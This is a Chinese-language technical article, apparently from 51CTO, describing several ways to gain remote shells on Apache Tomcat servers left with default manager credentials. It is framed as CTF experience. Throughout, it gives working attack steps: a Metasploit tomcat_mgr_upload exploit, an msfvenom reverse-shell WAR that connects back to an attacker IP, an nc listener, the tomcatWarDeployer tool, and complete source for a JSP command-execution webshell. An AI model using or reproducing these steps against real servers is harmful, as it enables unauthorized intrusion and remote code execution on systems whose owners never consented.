|
|
51CTO旗下网站
|
|
移动端

攻击Tomcat的多种姿势

大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。

作者:SoftNight来源:嘶吼专业版|2019-02-12 09:20

大家好,本文我想分享一下我的经验,如果你的Tomcat应用设置的是默认登陆凭证时(Tomcat:Tomcat)如何进行利用?当我在打CTF时,很多次我都发现目标主机上的Tomcat应用都是配置的默认登陆凭证,这有助于我们拿到主机的远程shell。因此,我感觉应该记录一下所有攻击Tomcat应用并获取远程主机webshell的方法。

目录

  • Tomcat经过身份验证的上传代码执行
  • 生成.war格式的后门
  • Tomcat war部署脚本
  • 生成JSP webshell

首先使用nmap进行扫描,看看8080端口是否运行着Tomcat服务

  1. nmap -sV -p8080 192.168.1.101 

从扫描结果可以看到,8080端口是开放的,运行着Apache Tomcat。我们用浏览器来访问以下目标IP地址,后面带上端口号。我们可以看到一个HTTP身份认证页面来登陆Tomcat管理后台。

Tomcat经过身份验证的上传代码执行

目标服务器是Apache Tomcat,而且泄露了管理后台,我们可以利用一个模块来执行payload。这个payload作为一个war文件上传,这个payload包含了一个jsp应用,该jsp应用使用POST方式向/manager/html/upload组件发起请求。请注意,根据目标主机的不同,这个payload的设置也会有所不同。比如,如果你的目标主机是Windows,那么你得使用原生的windows payload。

  1. use exploit/multi/http/tomcat_mgr_upload 
  2. msf exploit(multi/http/tomcat_mgr_upload) > set rhost 192.168.1.101 
  3. msf exploit(multi/http/tomcat_mgr_upload) > set rport 8080 
  4. msf exploit(multi/http/tomcat_mgr_upload) > set httpusername tomcat 
  5. msf exploit(multi/http/tomcat_mgr_upload) > set httppassword tomcat 
  6. msf exploit(multi/http/tomcat_mgr_upload) > exploit 

如图所示,我们可以看到我们已经拿下了目标主机的meterpreter会话:

生成.war格式的后门

我们可以使用msfvenom来为java和jsp payload生成一个.war格式的后门。你要做的就是按照下面提供的语法来创建一个.war格式的文件并启动nc进行监听:

  1. Syntax: msfvenom -p [payload] LHOST=[Kali Linux IP] LPORT=[1234] -f [file format] > [file name
  2. msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=1234 -f war > shell.war 
  3. nc -lvp 1234 

现在,使用默认的登陆凭证Tomcat:tomcat登陆到Tomcat管理后台中,登陆成功后你就能看到管理员面板,在这里你可以上传.war文件。

如图所示,你可以看到我已经在截图中圈出了“浏览恶意的shell.war文件进行部署”。一旦你成功上传你的war文件,在应用表中,你可以看到一个跟你war文件名字相同的目录。

想要执行你的war文件,你需要进入该目录并点击war文件,或者是直接在URL里访问。

一旦你执行了war文件,你就可以通过nc获得一个反向连接。

耶,我们又一次获得了一个远程主机的webshell。

Tomcat War部署脚本

这是一个渗透测试工具,旨在利用Apache Tomcat凭证以自动生成和部署JSP后门,一旦之后触发这个后门,就会返回一个令人大快人心的shell了(不管是通过web gui还是监听绑定到目标主机的端口或者是回连到攻击者的反向TCP payload)。

实际上,它会动态的生成JSP后门war包,然后使用pentester提供的有效的HTTP身份认证凭证(或者自定义凭证,一般都是Tomcat:tomcat)登陆到Tomcat管理界面中并且将其部署到Tomcat应用程序中。

部署脚本你可以在这里进行下载:

https://github.com/mgeeky/tomcatWarDeployer

  1. git clone https://github.com/mgeeky/tomcatWarDeployer 
  2. cd tomcatWarDeployer 
  3. ls 

现在再按照语法来对目标主机进行漏洞利用,不用再手动上传war文件了。

  1. Syntax : ./tomcatWarDeployer.py -U [usrename] -p [password]-H [Kali Linux IP]-p [Listening port] [target_IP]:[tomcat_port] 
  2. ./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080 

一旦执行了上述命令,我们就可以直接获得一个webshell了,如下图所示:

生成JSP webshell

接下来,我们就来看看如何生成和部署webshell来获得Tomcat应用中的执行命令。

首先,我们需要写一个webshell并且打包成war格式。我们可以使用下面的代码来写一个webshell:

  1. <%@ page import="java.io.*" %> 
  2. <% 
  3.    String cmd = request.getParameter("cmd"); 
  4.    String output = ""
  5.    if(cmd != null) { 
  6.       String s = null
  7.       try { 
  8.          Process p = Runtime.getRuntime().exec(cmd,null,null); 
  9.          BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); 
  10.          while((s = sI.readLine()) != null) { output += s+" 
  11. "; } 
  12.       }  catch(IOException e) {   e.printStackTrace();   } 
  13.    } 
  14. %> 
  15. <%=output %> 

保存代码为index.jsp文件,然后使用下列命令来打包:

  1. mkdir webshell 
  2. cp index.jsp webshell/ 
  3. cd webshell 
  4. jar -cvf ../webshell.war * 

执行完这条命令,你就能生成一个war文件,你可以将这个war文件部署在Tomcat应用中。

如下图所示,你可以看到,我已经成功上传并部署了webshell.war文件,现在我们点击这个文件来执行:

在执行/webshell时,你会得到一个404错误页面,现在再执行webshell下的index.jsp文件,如下:

http://192.168.1.106:8080/webshell/index.jsp

访问了上述URL后,你会得到一个命令执行的表单,现在你就可以在这个表单上任意执行cmd命令了,如图:

本文到此结束,希望大家有所收获。

【编辑推荐】

  1. 这才是Tomcat内存配置的正确姿势
  2. 浅谈Tomcat服务器优化方法
  3. 啥是佩奇?——Nginx、Squid、Apache都是一窝猪
  4. 全面了解服务器--Apache
  5. 服务器反爬虫攻略:Apache/Nginx/PHP禁止某些User Agent抓取网站
【责任编辑:武晓燕 TEL:(010)68476606】


点赞 0
分享:
大家都在看
猜你喜欢

订阅专栏+2018手机认证送彩金

活学活用 Ubuntu Server

活学活用 Ubuntu Server

实战直通车
共35章 | UbuntuServer

216人订阅学习

Java EE速成指南

Java EE速成指南

掌握Java核心
共30章 | 51CTO王波

83人订阅学习

Mysql DBA修炼之路

Mysql DBA修炼之路

MySQL入门到高阶
共24章 | 武凤涛

468人订阅学习

读 书 +2018手机认证送彩金

Java程序员面试宝典

本书是程序员面试宝典系列中的一册,也是上一本《程序员面试宝典》的姊妹书。本书对程序设计面试中Java常见的题型和常用解答技巧进行了介绍...

订阅51CTO邮刊

点击这里查看样刊

订阅51CTO邮刊

51CTO服务号

51CTO播客

博聚网